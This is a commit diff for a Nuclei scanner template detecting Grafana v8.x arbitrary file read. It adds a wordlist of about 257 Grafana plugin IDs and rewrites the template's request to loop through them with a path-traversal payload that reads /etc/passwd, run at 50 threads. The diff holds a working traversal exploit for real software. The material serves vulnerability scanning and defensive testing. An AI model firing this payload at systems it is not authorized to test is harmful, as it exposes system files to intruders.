Update Grafana Arbitrary File Read (#3321)

* Add Grafana plugins wordlist

* Using payloads instead

* fix: updated variable name

Co-authored-by: sandeep <sandeep@projectdiscovery.io>

helpers/wordlists/grafana-plugins.txt

@@ -0,0 +1,257 @@
+abhisant-druid-datasource
+aceiot-svg-panel
+ae3e-plotly-panel
+agenty-flowcharting-panel
+aidanmountford-html-panel
+akumuli-datasource
+alertlist
+alexanderzobnin-zabbix-app
+alexandra-trackmap-panel
+andig-darksky-datasource
+annolist
+anodot-datasource
+anodot-panel
+aquaqanalytics-kdbadaptor-datasource
+auxmoney-waterfall-panel
+ayoungprogrammer-finance-datasource
+barchart
+bargauge
+belugacdn-app
+bessler-pictureit-panel
+bilibala-echarts-panel
+blackmirror1-singlestat-math-panel
+blackmirror1-statusbygroup-panel
+bmchelix-ade-datasource
+bosun-app
+briangann-datatable-panel
+briangann-gauge-panel
+camptocamp-prometheus-alertmanager-datasource
+candlestick
+ccin2p3-riemann-datasource
+citilogics-geoloop-panel
+clarity89-finnhub-datasource
+cloudflare-app
+cloudspout-button-panel
+cloudwatch
+cognitedata-datasource
+corpglory-progresslist-panel
+dalmatinerdb-datasource
+dalvany-image-panel
+dashlist
+ddurieux-glpi-app
+devicehive-devicehive-datasource
+devopsprodigy-kubegraf-app
+digiapulssi-breadcrumb-panel
+digiapulssi-organisations-panel
+digrich-bubblechart-panel
+dlopes7-appdynamics-datasource
+doitintl-bigquery-datasource
+elasticsearch
+factry-untimely-panel
+farski-blendstat-panel
+fastweb-openfalcon-datasource
+fatcloud-windrose-panel
+fetzerch-sunandmoon-datasource
+fifemon-graphql-datasource
+flaminggoat-maptrack3d-panel
+flant-statusmap-panel
+foursquare-clouderamanager-datasource
+frser-sqlite-datasource
+fzakaria-simple-annotations-datasource
+gapit-htmlgraphics-panel
+gauge
+geomap
+gettingstarted
+gnocchixyz-gnocchi-datasource
+goshposh-metaqueries-datasource
+gowee-traceroutemap-panel
+grafadruid-druid-datasource
+grafana-athena-datasource
+grafana-azure-data-explorer-datasource
+grafana-azure-monitor-datasource
+grafana-clickhouse-datasource
+grafana-clock-panel
+grafana-datadog-datasource
+grafana-discourse-datasource
+grafana-dynatrace-datasource
+grafana-enterprise-logs-app
+grafana-enterprise-traces-app
+grafana-es-open-distro-datasource
+grafana-github-datasource
+grafana-gitlab-datasource
+grafana-googlesheets-datasource
+grafana-guidedtour-panel
+grafana-honeycomb-datasource
+grafana-image-renderer
+grafana-iot-sitewise-datasource
+grafana-iot-twinmaker-app
+grafana-jira-datasource
+grafana-k6cloud-datasource
+grafana-kairosdb-datasource
+grafana-metrics-enterprise-app
+grafana-mongodb-datasource
+grafana-newrelic-datasource
+grafana-opcua-datasource
+grafana-opensearch-datasource
+grafana-oracle-datasource
+grafana-piechart-panel
+grafana-polystat-panel
+grafana-redshift-datasource
+grafana-salesforce-datasource
+grafana-saphana-datasource
+grafana-sentry-datasource
+grafana-servicenow-datasource
+grafana-simple-json-datasource
+grafana-singlestat-panel
+grafana-snowflake-datasource
+grafana-splunk-datasource
+grafana-splunk-monitoring-datasource
+grafana-strava-datasource
+grafana-synthetic-monitoring-app
+grafana-timestream-datasource
+grafana-wavefront-datasource
+grafana-worldmap-panel
+grafana-x-ray-datasource
+graph
+graphite
+gretamosa-topology-panel
+gridprotectionalliance-openhistorian-datasource
+gridprotectionalliance-osisoftpi-datasource
+groonga-datasource
+hadesarchitect-cassandra-datasource
+hawkular-datasource
+heatmap
+histogram
+humio-datasource
+ibm-apm-datasource
+influxdb
+innius-grpc-datasource
+innius-video-panel
+instana-datasource
+integrationmatters-comparison-panel
+isaozler-paretochart-panel
+itrs-hub-datasource
+jaeger
+jasonlashua-prtg-datasource
+jdbranham-diagram-panel
+jeanbaptistewatenberg-percent-panel
+larona-epict-panel
+lightstep-metrics-datasource
+linksmart-hds-datasource
+linksmart-sensorthings-datasource
+logs
+loki
+macropower-analytics-panel
+magnesium-wordcloud-panel
+marcuscalidus-svg-panel
+marcusolsson-calendar-panel
+marcusolsson-csv-datasource
+marcusolsson-dynamictext-panel
+marcusolsson-gantt-panel
+marcusolsson-hexmap-panel
+marcusolsson-hourly-heatmap-panel
+marcusolsson-json-datasource
+marcusolsson-static-datasource
+marcusolsson-treemap-panel
+meteostat-meteostat-datasource
+michaeldmoore-annunciator-panel
+michaeldmoore-multistat-panel
+michaeldmoore-scatter-panel
+monasca-datasource
+monitoringartist-monitoringart-datasource
+moogsoft-aiops-app
+mssql
+mtanda-google-calendar-datasource
+mtanda-heatmap-epoch-panel
+mtanda-histogram-panel
+mxswat-separator-panel
+mysql
+natel-discrete-panel
+natel-influx-admin-panel
+natel-plotly-panel
+natel-usgs-datasource
+neocat-cal-heatmap-panel
+netsage-sankey-panel
+news
+nodeGraph
+novalabs-annotations-panel
+novatec-sdg-panel
+ntop-ntopng-datasource
+oci-logs-datasource
+oci-metrics-datasource
+opennms-helm-app
+opentsdb
+ovh-warp10-datasource
+paytm-kapacitor-datasource
+percona-percona-app
+petrslavotinek-carpetplot-panel
+piechart
+pierosavi-imageit-panel
+pixie-pixie-datasource
+pluginlist
+postgres
+pr0ps-trackmap-panel
+praj-ams-datasource
+prometheus
+pue-solr-datasource
+pyroscope-datasource
+pyroscope-panel
+quasardb-datasource
+rackerlabs-blueflood-datasource
+radensolutions-netxms-datasource
+redis-app
+redis-datasource
+redis-explorer-app
+ryantxu-ajax-panel
+ryantxu-annolist-panel
+satellogic-3d-globe-panel
+savantly-heatmap-panel
+sbueringer-consul-datasource
+scadavis-synoptic-panel
+sebastiangunreben-cdf-panel
+sidewinder-datasource
+simpod-json-datasource
+singlestat
+skydive-datasource
+smartmakers-trafficlight-panel
+sni-pnp-datasource
+sni-thruk-datasource
+snuids-radar-panel
+snuids-svg-panel
+snuids-trafficlights-panel
+speakyourcode-button-panel
+spotify-heroic-datasource
+sskgo-perfcurve-panel
+stackdriver
+stagemonitor-elasticsearch-app
+stat
+state-timeline
+status-histor
+streamr-datasource
+table
+table-old
+teamviewer-datasource
+tempo
+tencentcloud-monitor-app
+testdata
+text
+thalysantana-appcenter-datasource
+thiagoarrais-matomotracking-panel
+timeseries
+udoprog-heroic-datasource
+vertamedia-clickhouse-datasource
+vertica-grafana-datasource
+verticle-flowhook-datasource
+volkovlabs-image-panel
+vonage-status-panel
+voxter-app
+welcome
+williamvenner-timepickerbuttons-panel
+woutervh-mapbox-panel
+xginn8-pagerduty-datasource
+yesoreyeram-boomtable-panel
+yesoreyeram-boomtheme-panel
+yesoreyeram-infinity-datasource
+yeya24-chaosmesh-datasource
+zipkin
+zuburqan-parity-report-panel

vulnerabilities/grafana/grafana-file-read.yaml

@@ -2,7 +2,7 @@ id: grafana-file-read
 
 info:
   name: Grafana v8.x Arbitrary File Read
-  author: z0ne,dhiyaneshDk,jeya.seelan
+  author: z0ne,dhiyaneshDk,jeya.seelan,dwisiswant0
   severity: high
   reference:
     - https://nosec.org/home/detail/4914.html
@@ -14,51 +14,12 @@ info:
 requests:
   - method: GET
     path:
-      - "{{BaseURL}}/public/plugins/{{plugin-id}}/../../../../../../../../../../../../../../../../../../../etc/passwd"
+      - "{{BaseURL}}/public/plugins/{{pluginSlug}}/../../../../../../../../../../../../../../../../../../../etc/passwd"
 
     payloads:
-      plugin-id:
-        - alertlist
-        - annolist
-        - barchart
-        - bargauge
-        - candlestick
-        - cloudwatch
-        - dashlist
-        - elasticsearch
-        - gauge
-        - geomap
-        - gettingstarted
-        - grafana-azure-monitor-datasource
-        - graph
-        - heatmap
-        - histogram
-        - influxdb
-        - jaeger
-        - logs
-        - loki
-        - mssql
-        - mysql
-        - news
-        - nodeGraph
-        - opentsdb
-        - piechart
-        - pluginlist
-        - postgres
-        - prometheus
-        - stackdriver
-        - stat
-        - state-timeline
-        - status-history
-        - table
-        - table-old
-        - tempo
-        - testdata
-        - text
-        - timeseries
-        - welcome
-        - zipkin
+      pluginSlug: helpers/wordlists/grafana-plugins.txt
 
+    threads: 50
     stop-at-first-match: true
     matchers-condition: and
     matchers: